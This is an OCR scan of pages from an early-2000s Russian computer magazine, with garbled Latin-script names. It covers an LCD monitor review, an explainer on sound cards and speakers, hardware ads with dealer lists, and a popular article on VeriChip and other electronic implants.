ладает неплохими скоростными харак- 
теристиками: время отклика 25 милли- 
секунд и кадровая развертка 75 герц. 
Это значит, что смазывания из-за за- 
паздывания экрана в играх практичес- 
ки нет. Конечно, ОПТ еще не догнали, 
но подошли уже близко. 

Для тех, кто скажет, что 75 герц - мало, 
объясняем еще раз. Для ЮЭ 75 - это 
много (так как обычно бывает 60). Все 
дело в том, что І_СЭ не мерцает! Для ОРТ 
это мало, потому что он моргает, и для 
комфортной работы нужно 85-100 герц. 



ЭРГОНОМИКА 



ЗупсМазіег 172ѴѴ, можно привинтить 
на стену, сэкономив место на столе. 
Показатели яркости, контрастности, 
угла обзора этому способствуют. То 
есть смотреть на монитор под углом не 
напрягает. В качестве бо- 
нуса в подставку вмонтиро- 
ваны неплохие колонки. Щ Щ 
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Компьютер ЭКСИМЕР™ Ноте Еіііе 5Е 
на базе процессора Іпіеі® Репйит® 4 
обеспечит вам захватывающие дух 
приключения в мире онлайновых игр. 




Оснащенный мощным процессором Іп*еІ® Репііит® 4 
компьютер ЭКСИМЕР™ Ноте Еіііе ЗЕ предлагает 
великолепную производительность для поддержки 
трехмерных компьютерных игр, а также обеспечивает 
действительно реалистичное воспроизведение звука с 
помощью системы ЭоІЬу Эідііаі. 

ЭКСИМЕР™ Ноте Еіііе $Е — возможности, которых Вы не ждали. 

ілііліілі.ехсітег.со т 

Единая информационная служба: 

( 095 ) 742 - 36-14 

Розничные продажи в Москве: М. ВИДЕО (095) 777-777-5, 

Техносила (095) 777-8-777 
Продажи в Интернет: Ііир://ѵѵѵѵѵѵ.сІозіаѵка.ги 
Дистрибуторы: компания Инлайн — г.Москва (095)941 -6161 , 

ООО "Элком Сервис" — г.Сургут (3462)31-19-9, г.Нефтеюганск (34612)2-47-03, г.Ханты-Мансийск (34671)3-44-84 
Более 400 дилеров по всей территории России. Адрес ближайшего на ѵ\лл/ѵѵ.і2Ь.ги 




Товар сертифицирован. ІпіеІ, ІпіеІ Іпзісіе І_одо и Репйит являются товарными знаками или зарегистрированными товарными знаками ІпіеІ Согрогайоп или ее отделений в США и других странах. 
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АУДИОСИСТЕМА 




полноценной суверенной звуковой 
подсистемы компьютера. 

Шло время, совершенствовались 
программные и аппаратные сред- 
ства, аудиосистема наращивала 
производительность, росла функ- 
циональность и популярность, 
компьютер научился полноценно 
воспроизводить звуковые файлы, 
записывать звуковые сигналы, пос- 
тупающие от внешних источников 
(например, с микрофона), смеши- 
вать и хитрым образом обрабаты- 
вать звуки. 

В настоящее время звуковая сис- 
тема РС может выполняться как в 
виде отдельной платы, подключае- 
мой к шине РСІ, так и интегриро- 
ваться на материнскую плату. 
Именно поэтому иногда возникает 



путаница с терминологией - "зву- 
ковая плата" может вовсе не суще- 
ствовать в виде отдельного моду- 
ля, мы в дальнейшем будет рас- 
сматривать это понятие на логи- 
ческом уровне, не различая интег- 
рированные и суверенные звуко- 
вые системы. Обычно в звуковую 
плату входят следующие блоки: 
модуль записи и воспроизведения 
звуковых сигналов, модуль синте- 
затора, модуль интерфейсов и мо- 
дуль микшера. Впрочем, в зависи- 
мости от цены и функционального 
позиционирования звуковой пла- 
ты, те или иные блоки могут отсут- 
ствовать. Каждый из модулей мо- 
жет представлять собой либо от- 
дельную микросхему, либо часть 
многофункционального чипа. 



л 

• ЗВУКОВАЯ КАРТА 



Даже первые РС, выпускаемые на 
заре цифровой эпохи, существенно 
отличались от мейнфреймов и каль- 
куляторов того времени наличием 
внутреннего динамика, при помощи 
которого они могли воспроизводить 
нехитрые последовательности "нот" 
- эти звуки, естественно, были на 
редкость убоги, однако тогда, в 80 - 
х годах, и это завораживало немно- 
гочисленных пользователей. В кон- 
це восьмидесятых свет увидела 
первая звуковая карта, с появлени- 
ем которой перед пользователями и 
производителями компь- 
ютерных приложений 
І открылись новые воз- 
можности РС, связан- 
\ ные с появлением 



Динамик колонки 
выполнен из 
высококачественной 
целлюлозы с кучей 
всяческих примесей 



Выводы обмотки 
динамика 



Изнутри колонки 
обклеены войлоком для 
более качественного 
воспроизведения звука 



Магнит динамика 
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• МОДУЛЬ ЗАПИСИ/ 
ВОСПРОИЗВВДЕНИЯ 

С точки зрения физика-акустика 
звук представляет собой продоль- 
ные волны, распространяемые в 
упругих средах (как вариант - в 
воздухе). Информация о звуке 
представляется в виде данных о 
колебаниях звукового давления, 
которые, в свою очередь, могут су- 
ществовать в виде аналогового, 
либо цифрового сигнала. 
Аналоговый сигнал получить до- 
вольно просто - например, при по- 
мощи микрофона. Такой сигнал 
представляет собой электромаг- 
нитные колебания, в параметрах 
которых и передается информация 

ѵ 



о звуке. Так, от амплитуды колеба- 
ний зависит громкость звука, а 
частота определяет частоту коле- 
баний звукового давления. Для 
цифрового представления звука 
необходимо раз в некоторый очень 
малый период времени измерять 
величину звукового давления и со- 
относить с полученным результа- 
том некоторые двоичные числа, 
последовательность которых и об- 
разует данные о звуке. 

Данные в РС, как известно, имеют 
цифровую организацию, устрой- 
ства воспроизведения же работа- 
ют обычно в аналоговом режиме. 
Рассматриваемый модуль исполь- 
зуется для преобразования циф- 
рового сигнала в аналоговый и на- 
оборот. Преобразование звуково- 
го сигнала из аналогового в циф- 



ровое представление происходит 
в несколько этапов. Прежде всего, 
аналоговый сигнал загоняется при 
помощи специального частотного 
фильтра в определенную частот- 
ную полосу (например, от 20 Гц до 
20 кГц). Затем осуществляется 
дискретизация и квантование, т.е. 
выборка частоты измерения пара- 
метров аналогового сигнала и по- 
лучения моментальных значений 
определяемых сигналом парамет- 
ров в выбранные моменты време- 
ни. Частота дискретизации - пара- 
метр цифрового звука, определя- 
емый частотой измерений пара- 
метров аналогового сигнала. В 
современных звуковых системах 
этот параметр составляет 48 кГц, 
что превосходит частотный диапа- 
зон, различаемый человеком. 



Обратное преобразование проис- 
ходит в два этапа. Вначале при 
помощи цифро-аналогового пре- 
образователя (ЦАП) выделяются 
отсчеты сигнала, поступающие с 
частотой дискретизации. На сле- 
дующем этапе из дискретных па- 
раметров звука путем интерполя- 
ции создается непрерывный ана- 
логовый сигнал. Основной харак- 
теристикой этого модуля являет- 
ся разрядность ЦАП. Этот показа- 
тель определяет разрядность 
представления цифрового сигна- 
ла, от которого уже напрямую за- 
висит качество воспроизводимо- 
го звука. Так, 8-битные карточки 
едва дотягивают по качеству до 
магнитофона, современных 24-х 
бит более чем достаточно для 
достижения сб качества. 




Чип звукового 
адаптера, здесь 
реализованы все 
логические модули 



ПЗУ звуковухи, здесь 
хранятся 1 28 
музыкальных «голосов» 
и множество других 
управляющих данных 
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Интерфейс для 
подключения в 
шине РСІ 



Выход собственного 
усилителя звуковой 
карты 



Линейный вход 



Интерфейс для 
подключения тісіі- 
устройств 



Линейный выход, 
сюда подключается 
усилитель либо 
активные колонки 



Вход для 
подключения 
микрофона 
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низкочастотного звука 



г л 

• ОСТАЛЬНЫЕ МОДУЛИ 



Модуль синтезатора позволяет ге- 
нерировать сигналы, которые по 
звучанию довольно близко приб- 
лижаются к реальным музыкаль- 
ным инструментам. Каждый 
инструмент имеет свой собствен- 
ный "голос" - именно он имеется в 
виду, когда описание очередной 
железяки тебе сообщает, что у 
звуковухи, которую ты покупаешь, 
есть целых "128 ѵоісез". При по- 
мощи синтезатора и специальной 
программы любой человек может 
писать музыку. Правда ее качест- 
во, все же, целиком и полностью 
зависит от папы с мамой, точнее 
от твоих музыкальных способнос- 
тей =). Что же касается техничес- 
кой стороны дела, то кратко про- 
цесс синтеза (не путать с Синте- 
зом!) звука выглядит следующим 
образом. Пользователь набирает 
последовательность используе- 
мых в его треке инструментов, 
накладывает некоторые эффекты, 
микширует инструменты и нажи- 
мает на пимпу "сгеаіе Ігаск". Пос- 
ле этого программа создает неко- 
торый код, понятный звуковой 
карте, и та, комбинируя заранее 
определенные сигналы (парамет- 
ры всех инструментов хранятся в 
ПЗУ карты), создает выходной 
звуковой цифровой сигнал, кото- 
рый можно сохранить в виде фай- 
ла на жестком диске. Модуль ин- 
терфейсов обеспечивает обмен 
данными и взаимодействие с дру- 
гими устройствами. Это, факти- 
чески, ответная часть контроллера 
шины, к которой подключается 
звуковуха (как часто встречаю- 
щийся вариант - РСІ). Эта микрос- 
хема также производит взаимо- 
действие с подключаемыми тісіі- 
устройствами и джойстиками. Мо- 
дуль микшера производит подк- 
лючение источников и получате- 
лей звуковых сигналов и микши- 
рование нескольких звуковых сиг- 
налов с возможностью регуляции 
уровня каждого из них. 
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с операционной системой 

МІСГ050/І® 

Шпсіож® ХР. 



гпржі? 

КПШГ 



Технические характеристики: 

Процессор: Іпіеі® Репішт® 4 3,06 ГГц 
с технологией Нурег-Т1ігеасііп§ 

Память: 256 МБ (3ГБ) 

РИО 1.44 МБ; СБ-КОМ 52х или БѴБ-КОМ 
СБ-КѴ 48-16-48 



Мощные компьютеры К-Зіуіе® СагЬоп® Аі 600 на базе процессора 
Іпіеі® Репііиш® 4 3,06 ГГц с технологией Нурег-Тйгеас1іп§ 
являются хорошим инструментом для воплощения самых 
смелых идей, благодаря технологии Нурег-Т1тгеас1іп$ Вы можете 
позволить себя выполнять несколько дел одновременно, 
например обсчитывать смонтированный видеоролик и делать 
дизайн обложки для СБ, играть в компьютерные игры и 
архивировать музыкальную коллекцию. 



рстЯч/ГП м* 



Компьютеры 
К-81у1е® СагЬоп® 
сертифицированы 
на совместимость 



Жесткий диск: 20ГБ (80ГБ 7200 об/мин) 
Операционная система Місгозой® ШпсІо\ѵ5® ХР 



Система качества разработки, проектирования и производства К-5іуІе СотриШз сертифицированы 
на соответсвие международному стандарту ИСО 9001:2000. 



Партнеры по розничной продаже и системной интеграции: 



шК* 81 у 1 е 

СОМРІІТЕК5 



Оптовые поставки: 

Компания К8І. тѵѵу.гзі.ги 

тел - (095) 907-1101, факс: (095) 904-5995 

Интернет магазин: 

ттасотриіегріага.ги 

Техническая поддержка: К-Зіуіе Сотриіегз 
тел - (095) 903-3830, 

\ѵ\ѵ^.г-8іу1е-сотриіег8.ги 



Астрахань 

Компания «ТАН» (8512) 
24-57-43, 22-70-60, 39-21-24 
Братск ООО БАЙТ 
(395-3) 41-1121,41-3834 
Владивосток К-5іу1е 
(4232) 26-9052 
Губкинский, ЯНАО 
МУП «ПурИнформ» 

(345 36) 5-5719 
Калининград 
Балтик Стайл 
(0112) 22-1323, 54-1198 



СДЕЛАНО В 



Красноярск Лансервис 
(3912) 23-9342, 23-8370 
Красноярск Синтез-Н 
(3912) 55-55-19 
(многокан.) 

Москва АБН 
(095) 960-2323, 

755-8813 (многокан.) 
Москва Місготах 
Сотриіег Іпіе11і§епсе 
(095) 310-7666, ЗЮ-7427 
Москва К-5іу1е 
(095) 904-1001 (многокан.) 



РОССИИ 



Москва 

Группа компаний СИБКОН 
(095) 923-44-72, 292-7762 
Нижний Новгород К-5іу1е 
(8312) 44-3517, 44-1622 
Новосибирск К-5Гу1е 
(3832) 66-8058, 66-6378 
Ростов-на-Дону К-5Гу1е 
(8632) 52-4813, 58-7170 
Санкт-Петербург К-Зіуіе 
(812) 329-3686 
Тамбов ООО «КФ Аксиома» 
(0752) 75-0466, 71-3370 



СДЕЛАНО НА 



Тамбов ООО «Гитон» 
(0752) 71-9754 
Тверь ООО АндреевСофт 
(082-2) 55-1162 
Тула Питер-Софт 
(0872) 355-500, 335-510 
Уфа Альбея-Техпроект 
(3472) 77-69-55, 28-92-12 
Уфа Онлайн 
(3472) 248-228, 259-681 
Хабаровск К-5іу1е 
(4212) 21-8549, 22-0675 



СОВЕСТЬ! 



Логотип процессора Іпіеі® Репііигп® 4 с поддержкой технологии НТ означает, что поставщик системы проверил ее работу с технологией Нурег-Т1ігеас1іп§. 
Реальные значения производительности могут изменятся в зависимости от конфигурации и настроек аппаратных средств и программного обеспечения. 
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• ВОСПРОИЗВЕДЕНИЕ ЗВУКА 

Задача воспроизведения аналогового сиг- 
нала в звук целиком и полностью лежит на 
акустической системе. В ее состав обычно 
входят несколько колонок, каждая из кото- 
рых, в свою очередь, может обладать од- 
ним или несколькими динамиками. Количе- 
ство необходимых колонок зависит от гене- 
рируемого звуковой картой сигнала и коли- 
чества компонентов, образующих звуковой 
сигнал и составляющих отдельные звуко- 
вые каналы. Так, например, стереофони- 
ческий сигнал содержит в себе два канала 
(левый и правый), поэтому для воспроизве- 
дения такого сигнала надо не менее двух 
колонок. Звук же в формате ЭоІЬу Оідііаі со- 
держит 6 каналов (два фронтальных, канал 
диалогов, два тыловых и канал сверхнизких 
частот), поэтому для воспроизведения та- 
кого сигнала необходима система, состоя- 
щая из шести различных колонок. Все ко- 
лонки физически устроены примерно оди- 
наково, однако для воспроизведения раз- 
личных частот применяются свои решения. 

Так, качественное воспроизведение сверх- 
низких частот достигается за счет примене- 
ния специальной конструкции корпуса саб- 
вуфера. Часто в акустическую систему для 
РС встраивают также усилитель мощности 
сигнала, поступающего с линейного выхода 
звуковой карты. Такие системы называются 
активными. АС, не имеющие собственного 
усилителя, называют пассивными. В актив- 
ных АС усилитель обычно размещается в 
одной из колонок, либо в сабвуфере. Ко- 
лонки часто устанавливают в непосред- 
ственной близости от монитора, поэтому 
все уважающие себя производители осна- 
щают выпускаемую продукцию системой 
экранирования электромагнитных полей, 
дабы избежать конфликтов с полями, соз- 
даваемыми монитором. 
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Данамик сателлита, 
китайская пищалка 




Динамик сателлита 
окружается мягким 
материалом - это 
уменьшает эффект 
«дребезжания» при 
воспроизведении звука 



• ОСНОВНЫЕ 
ХАРАКТЕРИСТИКИ АС 

Одной из главных характеристик, определяю- 
щих звучание системы, является полоса восп- 
роизводимых частот. Это зависимость звуко- 
вого давления, создаваемого динамиком ко- 
лонки от частоты и амплитуды колебаний пе- 
ременного тока, подводимого к катушке дина- 
мика. Учитывая специфику человеческого слу- 
ха, из-за которой он слышит лишь звуки в ди- 
апазоне от 20 Гц до 20 кГц, идеальным можно 
считать динамик, график АЧХ (Амплитудно- 
Частотная Характеристика) которого представ- 
лял бы собой прямую линию. Это означало бы, 
что динамик одинаково хорошо преобразует в 
звук любые колебания из слышимого диапазо- 
на. Однако в реальности таких динамиков нет, 
и по ряду причин не может быть - график лю- 
бой, даже самой дорогой и качественной ко- 
лонки, представляет собой кардиограмму че- 
ловека в предынфарктном состоянии. 

Другой важной характеристикой является 
чувствительность колонки. Этот параметр ха- 
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рактеризуется звуковым давлением, которое 
создаст динамик на расстоянии 1 метр при 
пропускании через него сигнала мощностью 
1 Вт. Чувствительность определяется как 
среднее звуковое давление в определенной 
полосе частот. Мощность - по мнению абсо- 
лютного большинства пользователей - явля- 
ется главной характеристикой колонок, на 
которую надо смотреть при выборе АС. Од- 
нако считать, что чем выше мощность колон- 
ки, тем чище и громче будет звук, ошибочно. 
Получаемое звуковое давление зависит, 
прежде всего, от чувствительности. Кстати, и 
с мощностью все далеко не так однозначно. 
Существует, по крайней мере, 4 метода из- 
мерения мощности колонок - они дают со- 
вершенно разные результаты и, порой, не- 
добросовестные производители указывают 
мощность, не сообщая пользователю, каким 
именно способом был получен этот резуль- 
тат. Так, нередко можно встретить китайские 
пластиковые пищалки мощностью 60 Вт - тут 
речь идет, скорее всего, о пиковой 
мощности, номинальная мощность в 
этом случае будет около 4-6 Вт. 




Низкочастотные колебания, испускаемые в сторону этого «радиатора» 
приобретают новые качества после взаимодействия с ним 
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Интерфейсы для 
подключения 
аудиосистемы к 
звуковому адаптеру 
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Лаконичная форма, широкие возможности 




Новая серия мониторов 

1_<3 Н-АТПОІЧ ег 




Монитор РЬАТВОМ™ ег Т710Р 



Трубка 

Точка 

Г оризонтальная частота 
Максимальное разрешение 
Соответствие стандартам 
Дополнительные опции 



17” РСЭТ РІ_АТРОІ\І™ ет. 
0,25/ 0,20мм 
30-85 КГц 
1600x1200 @68 Гц 
ТОО 99 

Вгідііі Ѵіеѵѵ/Вгідііі ѴѴіпсІоѵѵ 



ВгідНіѴѴіпсІоѵѵ 

Эта функция позволяет выделять с помощью мыши интересующий фрагмент 
изображения и корректировать уровень яркости и контрастности на нём. 

Также, можно изменять размер окна изображения. 

ВгідНІѴеіѵѵ 

Эта функция позволяет выбирать различные режимы из меню в зависимости от 
того работаете ли Вы с офисными приложениями, растровыми изображениями ил 
играете в ЗЭ-игры. Каждому из этих режимов предназначен свой уровень яркости 
от 160 до 350 сб/т 2 . 

Трубка 

Благодаря новейшей электронно-лучевой трубке РСЭТ, состоящей из плоского 
экрана и «Маски двойной кривизны» (ЭоиЫе СигѵесІ Мазк), плоское изображение 
передается без искажений и смотрится наиболее естественно. В трубке РСЭТ 
реализовано несколько новейших разработок І_(3 Еіесігопісз: новая электронная 
пушка ІРІ_3 Оип II, обладающая высокой плотностью пучка, как результат, более 
четкая точка на экране; теневая маска (Шга Іпѵаг) с усиленной структурой. 

Цвет 

С помощью нового люминофорного покрытия І\Іео РідтепіесІ РІіозрІіогз создаются 
чистые основные цвета на ярком экране. Это делает изображение более 
контрастным, с одной стороны, и не утомляющим глаза из-за естественности 
цветопередачи с другой. 

Дизайн 

Дизайн новых мониторов отличается привлекательной лаконичностью, удобным 
расположением кнопок управления, продуманным дружественным интерфейсом, 
уменьшенной глубиной. 
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йѴМ Огоир 

тел.: (095) 777-1044 
факс: (095) 958-6019 
ѵѵѵѵѵѵ.сіѵт.ги 



Москва Альбино (095) 788-0046, 261-8053 

Москва Дилайн (095) 969-2222 

Москва Инфорсер (095) 173-9934, 173-9937 

Москва Компания МЕІЛІМ (095) 727-1222 

Москва Крона Форт (095) 234-0010 

Москва Линк Компьютер (095) 785-7190 

Москва НИКС (095) 974-3333 

Москва Онлайнтрейд (095) 737-4748, 943-9650 

Москва Остров Формоза (095) 926-2452 

Москва Систек (095) 781-2384 

Москва Стартмастер (095) 967-1515 

Москва Техносила (095) 777-8777 

Москва Формоза-Полянка (095) 933-4997 

Москва Ф-центр (095) 742-6401 

Москва Цифровой Мир (095) 785-3888 

Москва Электон (095) 956-3819 

Москва Рогит Сотриівгз (095) 707-1306, 707-1309 

Москва ОБОІ (095) 232-3009 



Москва ПесІ ОіатопсІ Сотриівгз (095) 785-8194 
Москва 1А.ТРА СотрФегз (095) 729-5244, 729-5255 
Москва ЦІЗІМ сотриівгз (095) 775-8202 
Белгород Инфотех (0722) 26-36-18, 26-36-48 
Казань Логические Системы (8432) 112233 
Нижневартовск Ланкорд (095) 956-05-25 
Пермь О-Си-Эс Урал (3422) 195-148 415-441 
Псков Компьютерный салон «ВЭБ» (8112) 79-3021 
Ростов-на-Дону Компьютер Сити (8632) 72-66-50 
Ростов-на-Дону Технополис (095) 733-99-49 
Самара Крафт-С (8462) 41-2412 
Самара Радиант (8462) 34-0706 
Санкт-Петербург Альфа (812) 320-80-70 
Смоленск Этна Холдинг (0812) 55-8951 
Тольятти СофтЭкс (8482) 377-977, 339-515 
Тула Курсор (0872) 30-9508 
Тюмень Компьютел (3452) 463064 
Уфа Форте ВД (3472) 37-9606 




ИЗ 



ѵѵѵѵѵѵ. I д . г и 







ХАЙТЕК-ИМПЛАНТАТЫ 



Золотое колечко в пупке - это модный пирсинг. Твоему организму от него ни холодно, ни жарко. Тончайшая золотая проволочка внутри 
моторной коры головного мозга - часть современного имплантата. Пошевели извилиной, и он тут же зафиксирует электрическую актив- 
ность в мозге, передавая сигнал на компьютер. Так, например, работают хайтек- протезы. По разным оценкам, на Земле уже от 7 до 15 
миллионов "киборгов". Это люди, которым имплантированы механические или электронные устройства, сосуществующие с биологичес- 
кими системами организма. Интересно, насколько мы породнились с компьютером? Какие они, робокопы сегодняшнего дня? 



<Подкожные имплантаты> 

Примером простейшего имплантата является вживляе- 
мый под кожу микрочип, который хранит персональный 
код владельца. Его популярностью мы обязаны живот- 
ным. Они в буквальном смысле слова в нужный момент 
подставили свою шкуру. На мурках и тузиках процеду- 
ра чипизации отработана еще с середины 90-х. Им- 
плантацией микрочипа человеку первой занялась ком- 
пания Аррііеб Рідііаі Зоіийопз (ш/ѵѵ.асізх.сот). Продукт 
ѴегіСІіір имеет добрый десяток модификаций, но осно- 
ва не меняется. По размерам имплантат сравним с ри- 
совым зернышком или наконечником стержня ручки - 
12 мм в длину и 2 мм в диаметре. Вес менее грамма. 
ѴегіСІіір выполнен в виде капсулы из органического 
стекла, покрытой полипропиленом. Нейтральная стек- 



лянная оболочка уменьшает возможность отторжения 
капсулы, благодаря чему место имплантации быстро 
заживает. Полимер пластмассы способствует образо- 
ванию вокруг капсулы коллагеновых волокон, что не 
позволяет имплантату "гулять" под кожей. Как правило, 
ѴегіСІіір вживляется между второй и третьей костями 
кисти правой руки. Имплантация производится под ме- 
стной анестезией при помощи большого шприца. 

По городам и весям Америки уже разъезжают десятки 




Простейший инъекгор, используемый 
для имплантации микрочипа ѴегіСІіір 



специально оборудованных чипомобилей. Впрочем, мани- 
пуляция настолько простая, что с ней справится сельский 
фельдшер. Как рассказывают первые носители ѴегіСІіір, 
все происходит достаточно быстро и безболезненно. По- 
сле имплантации некоторое время ощущается инородное 
тело, но вскоре микрочип становится неотделимой частью 
организма. Об операции напоминает только крошечный 
бугорок на руке. Это даже не шрам от аппендицита. 

В основе работы ѴегіСІіір лежит технология радиочастот- 




Подкожный имплантат ѴегіСІіір. 

Размеры 12x2. 1 мм (рисовое зернышко). 
Вес менее грамма. Рабочая частота 125 кГц. 




Ньюсы Террум Іпгігіе 



опе 



Взлом 














' 

] 












ной идентификации, используемая, например, в метках- 
транспондерах, которые прикрепляют на товары в мага- 
зинах для предупреждения краж. Каждый микрочип еще 
на заводе получает свой уникальный 14-значный буквен- 
но-цифровой код. Возможность существования двух оди- 
наковых элементов исключена. На самом деле, помимо 
идентификатора, ѴегіСЫр готов вместить еще 1 28 симво- 
лов. Однако под давлением общественности из сообра- 
жений безопасности носителей микрочипа оставили 
только код. Иначе бы медицинские данные быстро уста- 
ревали и пациента бесконечно долго лечили от одной и 
той же болезни, даже если он давно выздоровел. К уни- 
кальному коду привязана запись в общенациональной 
базе данных. Непосредственно перед имплантацией че- 
ловеку предлагают заполнить анкету. В ней необходимо 
указать, какие именно сведения сделать доступными. В 
дальнейшем для считывания кода используется сканер. 
Устройство генерирует радиосигнал частотой 125 кГц, 
который проникает через стеклянную оболочку, активи- 
зирует и заряжает микрочип. Полученной энергии доста- 
точно, чтобы отправить ответный сигнал. На сегодняш- 
ний день представлена целая серия портативных скане- 
ров, в том числе размером с ручку. Как правило, все они 
снабжены жидкокристаллическим экраном, на котором 
высвечивается код. В реальном времени по телефонной 
линии или через интернет идет обращение к базе данных 
и извлечение из нее необходимой информации. В рам- 
ках рекламной кампании первые 1 00 тысяч клиентов по- 
лучают скидку в 50 
долларов на покуп- 
ку ѴегіСЫр стоимо- 
стью 200 долла- 
ров. Кроме этого, 
придется оплатить 
процедуру имплан- 
тации и ежемесячно 
вносить 10 долла- 
ров за поддержание 
записи в базе дан- 
ных. Цена сканиру- 
ющего устройства 
составляет от 1 до 3 
тысяч долларов. 



"Цифровой ангел" 



Между тем, еще в 1999 году Аррііеб РідйаІ Зоіиііопз 
запатентовала устройство "Цифровой ангел", для 
функционирования которого сканер не нужен. Эта мо- 
дификация ѴегіСЫр является приемопередатчиком. 
Технология его работы не имеет аналогов в мире. Уст- 
ройство приводится в действие за счет электромеха- 
нической энергии мускулов - тепла, выделяемого те- 
лом. Большую часть времени микрочип пассивен. Ак- 
тивизируется он с беспроводного пульта управления 
самим владельцем, либо без его ведома - с наземной 
СРЗ-станции. В любой момент можно получить инфор- 
мацию о местонахождении человека, а также другие 
сведения, которые хранит микрочип. Грядущие моди- 
фикации продукта предполагают наличие датчиков. Ес- 
ли физиологические показатели - пульс, давление, 
температура тела - укажут на ухудшение состояния 
здоровья, система начнет бить тревогу. "Телеграфиро- 
вать 505" можно будет и с дистанционки. Имплантат 
продолжает служить для идентификации. Персональ- 
ный код могут запрашивать банкоматы, системы кон- 
троля доступа и другие устройства, где важно быстро 
и однозначно удостоверить личность. Чипизацию при- 
писывают Большому брату и даже видят в ней "метку 
сатаны", однако все чаще поднимается вопрос о при- 
нудительном вживлении имплантатов неблагонадеж- 
ным землянам. Помеченного воришку уже никогда не 
примут на работу в банк, а вышедший на свободу пе- 
дофил и близко не подойдет к детской песочнице. 



<Хайтек-имплантаты> 

В самых продвинутых хайтек-имплантатах электроника 
напрямую контактирует с нервными окончаниями, заме- 
щая поврежденные органы и расширяя пределы челове- 
ческих возможностей. Искусственное сердце и протез 
руки с пневмоприводом, электронное зрение, импланта- 
ты в спинной мозг и кору головного мозга - их создани- 
ем занимаются десятки научных лабораторий мира. 



Радиозуб 



Англичане Джеймс Аугер и Джимми Луизье разработали 
прототип радиозуба, который позволяет принимать сиг- 
налы радиостанций и «нутром» слышать собеседника по 
мобильному телефону. Пломба, содержащая приемник и 
миниатюрное вибрирующее устройство, вживляется в 
зуб во время рядовой операции по залатыванию дупла. 
Впоследствии механические вибрации из зуба через ко- 
сти черепа поступают на внутреннее ухо человека, где 
преобразуются в звук. Окружающие, естественно, ни о 
чем не подозревают. Качество приема прочат отличное. 
Главное, чтобы не было помех в эфире, от которых ра- 
диозубы начинают болеть. 




Оргазмотрон 



Американский хирург Стюарт Милоу из Национальной 
клиники боли (ѵѵш/.рарс.сопл) практикует вживление им- 
плантатов для управления женским оргазмом. Идея со- 
здания оргазмотрона родилась у Дока, когда он манипу- 
лировал электродами на позвоночнике пациентки. Де- 
вушка дико заерзала на кушетке и стала умолять врача 
обучить ее мужа "этим штучкам". Дальнейшие экспери- 
менты подтвердили: воздействуя на нервные окончания, 
можно спонтанно вызвать сексуальное возбуждение. В 
основание позвоночника вживляется крошечный микро- 
чип - стимулятор спинного мозга. Операция безболез- 
ненная, пациентка находится в сознании и, руководству- 
ясь собственными ощущениями, помогает установить 
имплантат. Небольшой генератор электрических импуль- 
сов вшивается в одну из ягодиц. После этого оргазм мо- 
жет быть неоднократно вызван с пульта дистанционного 
управления подачей стимулирующих импульсов в спин- 
ной мозг. Как говорится, нажми на кнопку - получишь 
результат. Микрочип предусмотрительно запрограмми- 
рован на ограниченное число оргазмов во времени, да- 
бы исключить "передозировку". Стоимость имплантата - 
около 7 тысяч долларов, и это лишний повод заявить, 
что нашего брата пока рано списывать со счетов. 



Искусственное зрение 



Нью-йоркская лаборатория йоЬеІІе (ш/ѵѵ.боЬеІІе.сот) 
представила первую коммерческую систему искусствен- 
ного зрения. На этот раз ученых угораздило забраться 




Карманный сканер Тгоѵап 
ІЮ-570 Роскеі Пеасіег. 



Производит считывание 
кода с микро чипа и 
передает его на компьютер 
через инфракрасный порт 



под самую черепушку и установить своего рода абсі-оп к 
мозгу. Система РоЬеІІе Еуе состоит из трех модулей. На 
оправе очков размещаются ультразвуковой дальномер и 
миниатюрная черно-белая видеокамера. Угол обзора 69 
градусов, разрешение 292x512 пикселов. При этом для 
уменьшения веса и размеров конструкции используется 
явление дифракции - "камера обскура". Другими слова- 
ми, роль объектива выполняет крошечное отверстие. На 
поясе у пациента крепится портативный компьютер - об- 
легченный вариант ноутбука с процессором 300 МГц. 
Камера подключена к компьютеру через универсальный 
І\ІТ5С-разъем, поэтому на ее месте может быть телеви- 
зор или компьютерный монитор. Там же на поясе - про- 
цессор, преобразующий цифровые сигналы в сигналы, 
понятные мозгу. Главная составляющая системы - 68 
платиновых электродов, вживленных непосредственно в 
зрительные доли головного мозга. 




В процессе работы изображение с видеокамеры посту- 
пает на компьютер, где производится его программная 
очистка от шумов и очерчивание границ предметов. По- 
сле этого процессор передает сигналы на имплантат. 
Каждый электрод формирует одну яркую белую точку на 
черном фоне. Все вместе дают целостную картинку. 
Изображение очень специфично. Объекты выглядят так, 
будто нарисованы мелом на школьной доске. Частота 
обновления - всего 7 кадров в секунду. Между тем, по- 
сле некоторой тренировки пользователь различает пре- 
пятствия на пути и даже может читать крупные печатные 
буквы на контрастной поверхности. В ближайших планах 
компании - усовершенствование дизайна устройства и 
поддержка беспроводной связи. Сейчас кабели пугающе 
свисают из дырки в черепе. Четырехчасовая операция 
по вживлению РоЬеІІе Еуе производится под местным 
наркозом и стоит пациенту 1 1 5 тысяч долларов. Клиника 
находится в Португалии. Не поверишь, один из счаст- 
ливцев уже водит машину на пустыре, другой управляет 
курсором мыши на экране монитора. 




Электронная сетчатка 



Еще несколько исследовательских групп занима- 
ются созданием электронной сетчатки глаза. Пер- 
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АРМИЯ КИБОРГОВ 



ф Алекс Целых (аІех@1есИпеѵѵз.ги) 



вые два модуля системы остались практически без изме- 
нений. Миниатюрная видеокамера размещается в очках. 
Сигнал по беспроводной связи передается на процессор, 
расположенный за ухом. Оттуда по проводам через от- 
верстие в черепе сигналы поступают на имплантат. Толь- 
ко теперь это кремниевый кристалл на транзисторах, за- 
крепленный на поверхности сетчатки. С противополож- 
ной стороны, прилегающей к нервным окончаниям, рас- 
полагается матрица электродов - ее оптимальный раз- 
мер 10x10. Каждый электрод соответствует одному пик- 
селу. Воздействием на зрительный нерв вызываются 
своего рода вспышки света. При изменении силы тока 
меняется интенсивность пятен. Мир предстает пациенту 
в опенках серого. Пока что участники эксперимента на- 
блюдали не более 16 пикселов - работали не все элект- 
роды. Это ничтожно мало, но почувствуй разницу между 
светом и тьмой. Пациент профессора Марка Хамаюна 
даже распознал буквы с расстояния двух метров. Группа 
Джона Вийапа и Джозефа Рицца помогла незрячему 
увидеть линию из четырех точек. Новых усовершенство- 
ваний можно будет ждать, когда ученые поместят им- 
плантат в глаз на несколько недель или месяцев, а не на 
считанные часы, как сейчас. В идеале, видеокамера во- 
обще будет находиться в глазном яблоке. Однако до это- 
го предстоит решить немало проблем, например, обес- 
печить имплантат энергией и разработать надежный спо- 
соб крепления микросхемы к нежной ткани сетчатки. 



<Киборги> 

Начало негласному соревнованию за звание главного 
киборга планеты положил Стив Мэнн (сЬс.са/суЬегтап), 
